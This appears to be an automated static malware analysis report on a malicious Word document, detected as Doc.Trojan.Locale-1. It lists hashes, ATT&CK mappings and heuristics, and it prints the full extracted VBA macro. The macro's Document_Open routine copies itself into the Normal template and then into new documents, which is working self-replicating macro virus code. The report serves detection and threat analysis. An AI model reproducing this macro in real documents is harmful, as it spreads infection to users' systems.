Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66f74676acf223de…

MALICIOUS

Office (OLE)

34.5 KB Created: 2014-04-24 01:54:00 Authoring application: Microsoft Office Word First seen: 2014-06-27
MD5: afdb75e3945b25125f995abe5d3a97f3 SHA-1: f315b0ee2b3a631491e43d2384120ee51701df90 SHA-256: 66f74676acf223de8aeec3db61a4a1c7cd9f3b6f8b6c7f4381822916b0f53066
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro. The macro's Document_Open subroutine is designed to copy its own code into the Normal template, which is a common technique for establishing persistence. The ClamAV detection 'Doc.Trojan.Locale-1' further confirms its malicious nature. The macro's obfuscated nature and the lack of clear second-stage indicators prevent a higher confidence assessment.

Heuristics 3

  • ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Locale-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1650 bytes
SHA-256: 0aa804957b1d57d1316720506c0f2a6df46b58340977bdf9c2ae0c19fef2a07b
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Set NewDocument = Documents(1)
    nextRoutine = "Document_Open"
    
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    
    With nextDocument.VBProject.VBComponents
        For i = 1 To .Count
            If .Item(i).Type = 100 Then
                With .Item(i).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub

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